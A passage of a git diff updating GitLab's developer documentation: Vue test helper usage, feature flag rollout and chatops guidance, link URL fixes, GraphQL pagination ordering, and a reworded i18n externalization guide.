findMyComponent = wrapper.findComponent(MyComponent); // ... }) ``` @@ -565,16 +565,15 @@ the mounting function (`mount` or `shallowMount`) to be used to mount the compon function createComponent({ mountFn = shallowMount } = {}) { } ``` -1. Wrap calls to `mount` and `shallowMount` in `extendedWrapper`, this exposes `wrapper.findByTestId()`: +1. Use the `mountExtended` and `shallowMountExtended` helpers to expose `wrapper.findByTestId()`: ```javascript - import { shallowMount } from '@vue/test-utils'; - import { extendedWrapper } from 'helpers/vue_test_utils_helper'; + import { shallowMountExtended } from 'helpers/vue_test_utils_helper'; import { SomeComponent } from 'components/some_component.vue'; let wrapper; - const createWrapper = () => { wrapper = extendedWrapper(shallowMount(SomeComponent)); }; + const createWrapper = () => { wrapper = shallowMountExtended(SomeComponent); }; const someButton = () => wrapper.findByTestId('someButtonTestId'); ``` diff --git a/doc/development/fe_guide/troubleshooting.md b/doc/development/fe_guide/troubleshooting.md index 1b3991ee80d..028184e0397 100644 --- a/doc/development/fe_guide/troubleshooting.md +++ b/doc/development/fe_guide/troubleshooting.md @@ -27,15 +27,15 @@ See [this video](https://youtu.be/-BkEhghP-kM) for an in-depth overview and inve **Remedy - Try cloning the object that has Vue watchers** ```patch -- expect(wrapper.find(ChildComponent).props()).toEqual(...); -+ expect(cloneDeep(wrapper.find(ChildComponent).props())).toEqual(...) +- expect(wrapper.findComponent(ChildComponent).props()).toEqual(...); ++ expect(cloneDeep(wrapper.findComponent(ChildComponent).props())).toEqual(...) ``` **Remedy - Try using `toMatchObject` instead of `toEqual`** ```patch -- expect(wrapper.find(ChildComponent).props()).toEqual(...); -+ expect(wrapper.find(ChildComponent).props()).toMatchObject(...); +- expect(wrapper.findComponent(ChildComponent).props()).toEqual(...); ++ expect(wrapper.findComponent(ChildComponent).props()).toMatchObject(...); ``` Please note that `toMatchObject` actually changes the nature of the assertion and won't fail if some items are **missing** from the expectation. diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md index 1cce699218c..0a769f257d0 100644 --- a/doc/development/fe_guide/vue.md +++ b/doc/development/fe_guide/vue.md @@ -13,7 +13,7 @@ To get started with Vue, read through [their documentation](https://vuejs.org/v2 What is described in the following sections can be found in these examples: - [Web IDE](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/app/assets/javascripts/ide/stores) -- [Security products](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/assets/javascripts/vue_shared/security_reports) +- [Security products](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/assets/javascripts/vue_shared/security_reports) - [Registry](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/app/assets/javascripts/registry/stores) ## Vue architecture @@ -323,17 +323,13 @@ testing the rendered output. Here's an example of a well structured unit test for [this Vue component](#appendix---vue-component-subject-under-test): ```javascript -import { shallowMount } from '@vue/test-utils'; -import { extendedWrapper } from 'helpers/vue_test_utils_helper'; import { GlLoadingIcon } from '@gitlab/ui'; import MockAdapter from 'axios-mock-adapter'; +import { shallowMountExtended } from 'helpers/vue_test_utils_helper'; import axios from '~/lib/utils/axios_utils'; import App from '~/todos/app.vue'; -const TEST_TODOS = [ - { text: 'Lorem ipsum test text' }, - { text: 'Lorem ipsum 2' }, -]; +const TEST_TODOS = [{ text: 'Lorem ipsum test text' }, { text: 'Lorem ipsum 2' }]; const TEST_NEW_TODO = 'New todo title'; const TEST_TODO_PATH = '/todos'; @@ -351,28 +347,27 @@ describe('~/todos/app.vue', () => { afterEach(() => { // IMPORTANT: Clean up the component instance and axios mock adapter wrapper.destroy(); - wrapper = null; - mock.restore(); }); // It is very helpful to separate setting up the component from // its collaborators (for example, Vuex and axios). const createWrapper = (props = {}) => { - wrapper = extendedWrapper( - shallowMount(App, { - propsData: { - path: TEST_TODO_PATH, - ...props, - }, - }) - ); + wrapper = shallowMountExtended(App, { + propsData: { + path: TEST_TODO_PATH, + ...props, + }, + }); }; // Helper methods greatly help test maintainability and readability. - const findLoader = () => wrapper.find(GlLoadingIcon); + const findLoader = () => wrapper.findComponent(GlLoadingIcon); const findAddButton = () => wrapper.findByTestId('add-button'); const findTextInput = () => wrapper.findByTestId('text-input'); - const findTodoData = () => wrapper.findAll('[data-testid="todo-item"]').wrappers.map(wrapper => ({ text: wrapper.text() })); + const findTodoData = () => + wrapper + .findAllByTestId('todo-item') + .wrappers.map((item) => ({ text: item.text() })); describe('when mounted and loading', () => { beforeEach(() => { @@ -401,14 +396,13 @@ describe('~/todos/app.vue', () => { expect(findTodoData()).toEqual(TEST_TODOS); }); - it('when todo is added, should post new todo', () => { - findTextInput().vm.$emit('update', TEST_NEW_TODO) + it('when todo is added, should post new todo', async () => { + findTextInput().vm.$emit('update', TEST_NEW_TODO); findAddButton().vm.$emit('click'); - return wrapper.vm.$nextTick() - .then(() => { - expect(mock.history.post.map(x => JSON.parse(x.data))).toEqual([{ text: TEST_NEW_TODO }]); - }); + await wrapper.vm.$nextTick(); + + expect(mock.history.post.map((x) => JSON.parse(x.data))).toEqual([{ text: TEST_NEW_TODO }]); }); }); }); diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md index d44ab64ae5d..3d0044928f1 100644 --- a/doc/development/fe_guide/vuex.md +++ b/doc/development/fe_guide/vuex.md @@ -40,7 +40,7 @@ When using Vuex at GitLab, separate these concerns into different files to impro The following example shows an application that lists and adds users to the state. (For a more complex example implementation, review the security -applications stored in this [repository](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/assets/javascripts/vue_shared/security_reports/store)). +applications stored in this [repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/assets/javascripts/vue_shared/security_reports/store)). ### `index.js` @@ -464,7 +464,6 @@ describe('component', () => { afterEach(() => { wrapper.destroy(); - wrapper = null; }); it('should show a user', async () => { diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md index 08a4401181b..a9ebcfc9fba 100644 --- a/doc/development/feature_flags/controls.md +++ b/doc/development/feature_flags/controls.md @@ -99,7 +99,7 @@ Guidelines: Before toggling any feature flag, check that there are no ongoing significant incidents on GitLab.com. You can do this by checking the `#production` and `#incident-management` Slack channels, or looking for -[open incident issues](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=incident) +[open incident issues](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/?scope=all&state=opened&label_name[]=incident) (although check the dates and times). We do not want to introduce changes during an incident, as it can make @@ -213,9 +213,6 @@ actors. Feature.enabled?(:some_feature, group) ``` -**Percentage of time** rollout is not a good idea if what you want is to make sure a feature -is always on or off to the users. In that case, **Percentage of actors** rollout is a better method. - Lastly, to verify that the feature is deemed stable in as many cases as possible, you should fully roll out the feature by enabling the flag **globally** by running: @@ -226,6 +223,32 @@ you should fully roll out the feature by enabling the flag **globally** by runni This changes the feature flag state to be **enabled** always, which overrides the existing gates (e.g. `--group=gitlab-org`) in the above processes. +Note, that if an actor based feature gate is present, switching the +`default_enabled` attribute of the YAML definition from `false` to `true` +will not have any effect. The feature gate must be deleted first. + +For example, a feature flag is set via chatops: + +```shell +/chatops run feature set --project=gitlab-org/gitlab some_feature true +``` + +When the `default_enabled` attribute in the YAML definition is switched to +`true`, the feature gate must be deleted to have the desired effect: + +```shell +/chatops run feature delete some_feature +``` + +##### Percentage of actors vs percentage of time rollouts + +If you want to make sure a feature is always on or off for users, use a **Percentage of actors** +rollout. Avoid using percentage of _time_ rollouts in this case. + +A percentage of _time_ rollout can introduce inconsistent behavior when `Feature.enabled?` +is used multiple times in the code because the feature flag value is randomized each time +`Feature.enabled?` is called on your code path. + ##### Disabling feature flags To disable a feature flag that has been globally enabled you can run: @@ -250,7 +273,7 @@ Any feature flag change that affects GitLab.com (production) via [ChatOps](https is automatically logged in an issue. The issue is created in the -[gl-infra/feature-flag-log](https://gitlab.com/gitlab-com/gl-infra/feature-flag-log/-/issues?scope=all&utf8=%E2%9C%93&state=closed) +[gl-infra/feature-flag-log](https://gitlab.com/gitlab-com/gl-infra/feature-flag-log/-/issues?scope=all&state=closed) project, and it will at minimum log the Slack handle of person enabling a feature flag, the time, and the name of the flag being changed. diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md index 79efd6d5502..d7807c6f586 100644 --- a/doc/development/feature_flags/development.md +++ b/doc/development/feature_flags/development.md @@ -1,7 +1,9 @@ --- redirect_to: 'index.md' +remove_date: '2021-06-01' --- This document was moved to [another location](index.md). + <!-- This redirect file can be deleted after 2021-06-01. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
\ No newline at end of file diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md index e18bcaa1f4e..79a100e44a5 100644 --- a/doc/development/feature_flags/index.md +++ b/doc/development/feature_flags/index.md @@ -41,7 +41,7 @@ should be leveraged: 1. [Create a new feature flag](#create-a-new-feature-flag) which is **off** by default, in the first merge request which uses the flag. - Flags [should not be added separately](#risk-of-a-broken-master-main-branch). + Flags [should not be added separately](#risk-of-a-broken-main-branch). 1. Submit incremental changes via one or more merge requests, ensuring that any new code added can only be reached if the feature flag is **on**. You can keep the feature flag enabled on your local GDK during development. @@ -59,11 +59,11 @@ flag does not have to stick around for a specific amount of time is deemed stable. Stable means it works on GitLab.com without causing any problems, such as outages. -## Risk of a broken master (main) branch +## Risk of a broken main branch -Feature flags **must** be used in the MR that introduces them. Not doing so causes a -[broken master](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due -to the `rspec:feature-flags` job that only runs on the `master` branch. +Feature flags must be used in the MR that introduces them. Not doing so causes a +[broken main branch](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due +to the `rspec:feature-flags` job that only runs on the `main` branch. ## Types of feature flags @@ -635,7 +635,7 @@ with how it interacts with `ActiveRecord`. ### End-to-end (QA) tests Toggling feature flags works differently in end-to-end (QA) tests. The end-to-end test framework does not have direct access to -Rails or the database, so it can't use Flipper. Instead, it uses [the public API](../../api/features.md#set-or-create-a-feature). Each end-to-end test can [enable or disable a feature flag during the test](../testing_guide/end_to_end/feature_flags.md). Alternatively, you can enable or disable a feature flag before one or more tests when you [run them from your GitLab repository's `qa` directory](https://gitlab.com/gitlab-org/gitlab/tree/master/qa#running-tests-with-a-feature-flag-enabled-or-disabled), or if you [run the tests via GitLab QA](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#running-tests-with-a-feature-flag-enabled). +Rails or the database, so it can't use Flipper. Instead, it uses [the public API](../../api/features.md#set-or-create-a-feature). Each end-to-end test can [enable or disable a feature flag during the test](../testing_guide/end_to_end/feature_flags.md). Alternatively, you can enable or disable a feature flag before one or more tests when you [run them from your GitLab repository's `qa` directory](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa#running-tests-with-a-feature-flag-enabled-or-disabled), or if you [run the tests via GitLab QA](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#running-tests-with-a-feature-flag-enabled). [As noted above, feature flags are not enabled by default in end-to-end tests.](#feature-flags-in-tests) This means that end-to-end tests will run with feature flags in the default state implemented in the source diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md index 247dafe9f0b..0e962218ab9 100644 --- a/doc/development/feature_flags/process.md +++ b/doc/development/feature_flags/process.md @@ -1,5 +1,6 @@ --- redirect_to: 'https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/' +remove_date: '2021-06-01' --- This document was moved to [another location](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/). diff --git a/doc/development/file_storage.md b/doc/development/file_storage.md index 1f929d64058..71fc81a6ea3 100644 --- a/doc/development/file_storage.md +++ b/doc/development/file_storage.md @@ -60,7 +60,7 @@ hash of the project ID instead, if project migrates to the new approach (introdu We provide an [all-in-one Rake task](../administration/raketasks/uploads/migrate.md) to migrate all uploads to object storage in one go. If a new Uploader class or model type is introduced, make sure you add a Rake task invocation corresponding to it to the -[category list](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/tasks/gitlab/uploads/migrate.rake). +[category list](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/tasks/gitlab/uploads/migrate.rake). ### Path segments diff --git a/doc/development/geo.md b/doc/development/geo.md index 05fadcad08a..8017bd21126 100644 --- a/doc/development/geo.md +++ b/doc/development/geo.md @@ -199,8 +199,8 @@ needs to be applied to the tracking database on each **secondary** node. ### Configuration -The database configuration is set in [`config/database_geo.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/database_geo.yml.postgresql). -The directory [`ee/db/geo`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/db/geo) +The database configuration is set in [`config/database_geo.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/database_geo.yml.postgresql). +The directory [`ee/db/geo`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/db/geo) contains the schema and migrations for this database. To write a migration for the database, use the `GeoMigrationGenerator`: @@ -217,7 +217,7 @@ bundle exec rake geo:db:migrate ## Finders -Geo uses [Finders](https://gitlab.com/gitlab-org/gitlab/tree/master/app/finders), +Geo uses [Finders](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/finders), which are classes take care of the heavy lifting of looking up projects/attachments/etc. in the tracking database and main database. @@ -320,7 +320,7 @@ The process running on the **secondary** node that looks for new ### `Gitlab::Geo` utilities Small utility methods related to Geo go into the -[`ee/lib/gitlab/geo.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/gitlab/geo.rb) +[`ee/lib/gitlab/geo.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/geo.rb) file. Many of these methods are cached using the `RequestStore` class, to diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md index 1513b65d19f..ad24353fde8 100644 --- a/doc/development/go_guide/index.md +++ b/doc/development/go_guide/index.md @@ -159,7 +159,7 @@ In some cases, such as building a Go project for it to act as a dependency of a CI run for another project, removing the `vendor/` directory means the code must be downloaded repeatedly, which can lead to intermittent problems due to rate limiting or network failures. In these circumstances, you should [cache the -downloaded code between](../../ci/caching/index.md#caching-go-dependencies). +downloaded code between](../../ci/caching/index.md#cache-go-dependencies). There was a [bug on modules checksums](https://github.com/golang/go/issues/29278) in Go versions earlier than v1.11.4, so make diff --git a/doc/development/gotchas.md b/doc/development/gotchas.md index a506b67d89d..40598eaff95 100644 --- a/doc/development/gotchas.md +++ b/doc/development/gotchas.md @@ -196,7 +196,7 @@ RuboCop](https://gitlab.com/gitlab-org/gitlab-foss/blob/8-4-stable/.rubocop.yml# Using the inline `:javascript` Haml filters comes with a performance overhead. Using inline JavaScript is not a good way to structure your code and should be avoided. -We've [removed these two filters](https://gitlab.com/gitlab-org/gitlab/blob/master/config/initializers/hamlit.rb) +We've [removed these two filters](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/hamlit.rb) in an initializer. ### Further reading diff --git a/doc/development/graphql_guide/authorization.md b/doc/development/graphql_guide/authorization.md index 8f17a8b6c93..a317b5d805b 100644 --- a/doc/development/graphql_guide/authorization.md +++ b/doc/development/graphql_guide/authorization.md @@ -40,7 +40,7 @@ to filter the records. This minimizes database queries and unnecessary authorization checks of the loaded records. It also avoids situations, such as short pages, which can expose the presence of confidential resources. -See [`authorization_spec.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/graphql/features/authorization_spec.rb) +See [`authorization_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/graphql/features/authorization_spec.rb) for examples of all the authorization schemes discussed here. ## Type authorization diff --git a/doc/development/graphql_guide/pagination.md b/doc/development/graphql_guide/pagination.md index 5db9238faed..5fd2179ea9b 100644 --- a/doc/development/graphql_guide/pagination.md +++ b/doc/development/graphql_guide/pagination.md @@ -223,6 +223,26 @@ the `order_due_date_and_labels_priority` method creates a very complex query. These types of queries are not supported. In these instances, you can use offset pagination. +#### Gotchas + +Do not define a collection's order using the string syntax: + +```ruby +# Bad +items.order('created_at DESC') +``` + +Instead, use the hash syntax: + +```ruby +# Good +items.order(created_at: :desc) +``` + +The first example won't correctly embed the sort information (`created_at`, in +the example above) into the pagination cursors, which will result in an +incorrect sort order. + ### Offset pagination There are times when the [complexity of sorting](#limitations-of-query-complexity) @@ -267,7 +287,7 @@ For consistency, we manually set the pagination cursors based on values returned You can see an example implementation in the following files: - [`types/error__tracking/sentry_error_collection_type.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/types/error_tracking/sentry_error_collection_type.rb) which adds an extension to `field :errors`. -- [`resolvers/error_tracking/sentry_errors_resolver.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb) which returns the data from the resolver. +- [`resolvers/error_tracking/sentry_errors_resolver.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb) which returns the data from the resolver. ## Testing diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md index b177a7e0138..7ea8378b6db 100644 --- a/doc/development/i18n/externalization.md +++ b/doc/development/i18n/externalization.md @@ -10,16 +10,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w For working with internationalization (i18n), [GNU gettext](https://www.gnu.org/software/gettext/) is used given it's the most -used tool for this task and there are a lot of applications that help us -work with it. +used tool for this task and there are many applications that help us work with it. NOTE: -All `rake` commands described on this page must be run on a GitLab instance, usually GDK. +All `rake` commands described on this page must be run on a GitLab instance. This instance is +usually the GitLab Development Kit (GDK). -## Setting up GitLab Development Kit (GDK) +## Setting up the GitLab Development Kit (GDK) -In order to be able to work on the [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss) -project you must download and configure it through [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/set-up-gdk.md). +To work on the [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss) +project, you must download and configure it through the [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/set-up-gdk.md). After you have the GitLab project ready, you can start working on the translation. @@ -27,34 +27,33 @@ After you have the GitLab project ready, you can start working on the translatio The following tools are used: -1. [`gettext_i18n_rails`](https://github.com/grosser/gettext_i18n_rails): this - gem allow us to translate content from models, views and controllers. Also - it gives us access to the following Rake tasks: - - `rake gettext:find`: Parses almost all the files from the - Rails application looking for content that has been marked for - translation. Finally, it updates the PO files with the new content that - it has found. - - `rake gettext:pack`: Processes the PO files and generates the - MO files that are binary and are finally used by the application. - -1. [`gettext_i18n_rails_js`](https://github.com/webhippie/gettext_i18n_rails_js): - this gem is useful to make the translations available in JavaScript. It - provides the following Rake task: - - `rake gettext:po_to_json`: Reads the contents from the PO files and - generates JSON files containing all the available translations. - -1. PO editor: there are multiple applications that can help us to work with PO - files, a good option is [Poedit](https://poedit.net/download) which is - available for macOS, GNU/Linux and Windows. +- [`gettext_i18n_rails`](https://github.com/grosser/gettext_i18n_rails): + this gem allows us to translate content from models, views, and controllers. It also gives us + access to the following Rake tasks: + + - `rake gettext:find`: parses almost all the files from the Rails application looking for content + marked for translation. It then updates the PO files with this content. + - `rake gettext:pack`: processes the PO files and generates the binary MO files that the + application uses. + +- [`gettext_i18n_rails_js`](https://github.com/webhippie/gettext_i18n_rails_js): + this gem makes the translations available in JavaScript. It provides the following Rake task: + + - `rake gettext:po_to_json`: reads the contents of the PO files and generates JSON files that + contain all the available translations. + +- PO editor: there are multiple applications that can help us work with PO files. A good option is + [Poedit](https://poedit.net/download), + which is available for macOS, GNU/Linux, and Windows. ## Preparing a page for translation -We basically have 4 types of files: +There are four file types: -1. Ruby files: basically Models and Controllers. -1. HAML files: these are the view files. -1. ERB files: used for email templates. -1. JavaScript files: we mostly need to work with Vue templates. +- Ruby files: models and controllers. +- HAML files: view files. +- ERB files: used for email templates. +- JavaScript files: we mostly work with Vue templates. ### Ruby files @@ -72,7 +71,7 @@ Or: hello = "Hello world!" ``` -You can easily mark that content for translation with: +You can mark that content for translation with: ```ruby def hello @@ -86,26 +85,21 @@ Or: hello = _("Hello world!") ``` -Be careful when translating strings at the class or module level since these would only be -evaluated once at class load time. - -For example: +Be careful when translating strings at the class or module level since these are only evaluated once +at class load time. For example: ```ruby validates :group_id, uniqueness: { scope: [:project_id], message: _("already shared with this group") } ``` -This would be translated when the class is loaded and result in the error message -always being in the default locale. - -Active Record's `:message` option accepts a `Proc`, so we can do this instead: +This is translated when the class loads and results in the error message always being in the default +locale. Active Record's `:message` option accepts a `Proc`, so do this instead: ```ruby validates :group_id, uniqueness: { scope: [:project_id], message: -> (object, data) { _("already shared with this group") } } ``` -Messages in the API (`lib/api/` or `app/graphql`) do -not need to be externalized. +Messages in the API (`lib/api/` or `app/graphql`) do not need to be externalized. ### HAML files @@ -145,13 +139,20 @@ import { __ } from '~/locale'; const label = __('Subscribe'); ``` -In order to test JavaScript translations you have to change the GitLab -localization to another language than English and you have to generate JSON files -using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`. +To test JavaScript translations you must: + +- Change the GitLab localization to a language other than English. +- Generate JSON files by using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`. ### Vue files -In Vue files we make both the `__()` (double underscore parenthesis) function and the `s__()` (namespaced double underscore parenthesis) function available that you can import from the `~/locale` file. For instance: +In Vue files, we make the following functions available: + +- `__()` (double underscore parenthesis) +- `s__()` (namespaced double underscore parenthesis) + +You can therefore import from the `~/locale` file. +For example: ```javascript import { __, s__ } from '~/locale'; @@ -228,24 +229,24 @@ For the static text strings we suggest two patterns for using these translations </template> ``` -In order to visually test the Vue translations you have to change the GitLab -localization to another language than English and you have to generate JSON files -using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`. +To visually test the Vue translations: -### Dynamic translations +1. Change the GitLab localization to another language than English. +1. Generate JSON files using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`. -Sometimes there are some dynamic translations that can't be found by the -parser when running `bin/rake gettext:find`. For these scenarios you can -use the [`N_` method](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#unfound-translations-with-rake-gettextfind). +### Dynamic translations -There is also and alternative method to [translate messages from validation errors](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#option-a). +Sometimes there are dynamic translations that the parser can't find when running +`bin/rake gettext:find`. For these scenarios you can use the [`N_` method](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#unfound-translations-with-rake-gettextfind). +There's also an alternative method to [translate messages from validation errors](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#option-a). ## Working with special content ### Interpolation -Placeholders in translated text should match the code style of the respective source file. -For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make sure to [avoid splitting sentences when adding links](#avoid-splitting-sentences-when-adding-links). +Placeholders in translated text should match the respective source file's code style. For example +use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make sure to +[avoid splitting sentences when adding links](#avoid-splitting-sentences-when-adding-links). - In Ruby/HAML: @@ -257,9 +258,9 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s Use the [`GlSprintf`](https://gitlab-org.gitlab.io/gitlab-ui/?path=/docs/utilities-sprintf--sentence-with-link) component if: - - you need to include child components in the translation string. - - you need to include HTML in your translation string. - - you are using `sprintf` and need to pass `false` as the third argument to + - You need to include child components in the translation string. + - You need to include HTML in your translation string. + - You're using `sprintf` and need to pass `false` as the third argument to prevent it from escaping placeholder values. For example: @@ -272,7 +273,7 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s </gl-sprintf> ``` - In other cases it may be simpler to use `sprintf`, perhaps in a computed + In other cases, it might be simpler to use `sprintf`, perhaps in a computed property. For example: ```html @@ -344,7 +345,8 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s # => When size == 2: 'There are 2 mice.' ``` - Avoid using `%d` or count variables in singular strings. This allows more natural translation in some languages. + Avoid using `%d` or count variables in singular strings. This allows more natural translation in + some languages. - In JavaScript: @@ -363,13 +365,12 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s The `n_` method should only be used to fetch pluralized translations of the same string, not to control the logic of showing different strings for different -quantities. Some languages have different quantities of target plural forms - -Chinese (simplified), for example, has only one target plural form in our -translation tool. This means the translator would have to choose to translate -only one of the strings and the translation would not behave as intended in the -other case. +quantities. Some languages have different quantities of target plural forms. +For example, Chinese (simplified) has only one target plural form in our +translation tool. This means the translator has to choose to translate only one +of the strings, and the translation doesn't behave as intended in the other case. -For example, prefer to use: +For example, use this: ```ruby if selected_projects.one? @@ -379,7 +380,7 @@ else end ``` -rather than: +Instead of this: ```ruby # incorrect usage example @@ -388,21 +389,22 @@ n_("%{project_name}", "%d projects selected", count) % { project_name: 'GitLab' ### Namespaces -A namespace is a way to group translations that belong together. They provide context to our translators by adding a prefix followed by the bar symbol (`|`). For example: +A namespace is a way to group translations that belong together. They provide context to our +translators by adding a prefix followed by the bar symbol (`|`). For example: ```ruby 'Namespace|Translated string' ``` -A namespace provide the following benefits: +A namespace: -- It addresses ambiguity in words, for example: `Promotions|Promote` vs `Epic|Promote` -- It allows translators to focus on translating externalized strings that belong to the same product area rather than arbitrary ones. -- It gives a linguistic context to help the translator. +- Addresses ambiguity in words. For example: `Promotions|Promote` vs `Epic|Promote`. +- Allows translators to focus on translating externalized strings that belong to the same product + area, rather than arbitrary ones. +- Gives a linguistic context to help the translator. -In some cases, namespaces don't make sense, for example, -for ubiquitous UI words and phrases such as "Cancel" or phrases like "Save changes" a namespace could -be counterproductive. +In some cases, namespaces don't make sense. For example, for ubiquitous UI words and phrases such as +"Cancel" or phrases like "Save changes," a namespace could be counterproductive. Namespaces should be PascalCase. @@ -412,7 +414,7 @@ Namespaces should be PascalCase. s_('OpenedNDaysAgo|Opened') ``` - In case the translation is not found it returns `Opened`. + If the translation isn't found, `Opened` is returned. - In JavaScript: @@ -420,18 +422,19 @@ Namespaces should be PascalCase. s__('OpenedNDaysAgo|Opened') ``` -The namespace should be removed from the translation. See the -[translation guidelines for more details](translation.md#namespaced-strings). +The namespace should be removed from the translation. For more details, see the +[translation guidelines](translation.md#namespaced-strings). ### HTML -We no longer include HTML directly in the strings that are submitted for translation. This is for a couple of reasons: +We no longer include HTML directly in the strings that are submitted for translation. This is +because: -1. It introduces a chance for the translated string to accidentally include invalid HTML. -1. It introduces a security risk where translated strings become an attack vector for XSS, as noted by the +1. The translated string can accidentally include invalid HTML. +1. Translated strings can become an attack vector for XSS, as noted by the [Open Web Application Security Project (OWASP)](https://owasp.org/www-community/attacks/xss/). -To include formatting in the translated string, we can do the following: +To include formatting in the translated string, you can do the following: - In Ruby/HAML: @@ -449,18 +452,18 @@ To include formatting in the translated string, we can do the following: // => 'Some <strong>bold</strong> text.' ``` -- In Vue +- In Vue: See the section on [interpolation](#interpolation). -When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935) is complete, we plan to update the -process of including formatting in translated strings. +When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935) +is complete, we plan to update the process of including formatting in translated strings. #### Including Angle Brackets -If a string contains angles brackets (`<`/`>`) that are not used for HTML, it is still flagged by the -`rake gettext:lint` linter. -To avoid this error, use the applicable HTML entity code (`<` or `>`) instead: +If a string contains angle brackets (`<`/`>`) that are not used for HTML, the `rake gettext:lint` +linter still flags it. To avoid this error, use the applicable HTML entity code (`<` or `>`) +instead: - In Ruby/HAML: @@ -493,12 +496,12 @@ To avoid this error, use the applicable HTML entity code (`<` or `>`) inst ### Numbers -Different locales may use different number formats. To support localization of numbers, we use `formatNumber`, -which leverages [`toLocaleString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toLocaleString). +Different locales may use different number formats. To support localization of numbers, we use +`formatNumber`, which leverages [`toLocaleString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toLocaleString). -`formatNumber` formats numbers as strings using the current user locale by default. +By default, `formatNumber` formats numbers as strings using the current user locale. -- In JavaScript +- In JavaScript: ```javascript import { formatNumber } from '~/locale'; @@ -509,7 +512,7 @@ const tenThousand = formatNumber(10000); // "10,000" (uses comma as decimal symb const fiftyPercent = formatNumber(0.5, { style: 'percent' }) // "50%" (other options are passed to toLocaleString) ``` -- In Vue templates +- In Vue templates: ```html <script> @@ -546,27 +549,29 @@ console.log(dateFormat.format(new Date('2063-04-05'))) // April 5, 2063 This makes use of [`Intl.DateTimeFormat`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat). -- In Ruby/HAML, we have two ways of adding format to dates and times: +- In Ruby/HAML, there are two ways of adding format to dates and times: - 1. **Through the `l` helper**, i.e. `l(active_session.created_at, format: :short)`. We have some predefined formats for - [dates](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L54) and [times](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L262). - If you need to add a new format, because other parts of the code could benefit from it, - you can add it to [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) file. - 1. **Through `strftime`**, i.e. `milestone.start_date.strftime('%b %-d')`. We use `strftime` in case none of the formats - defined on [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) matches the date/time 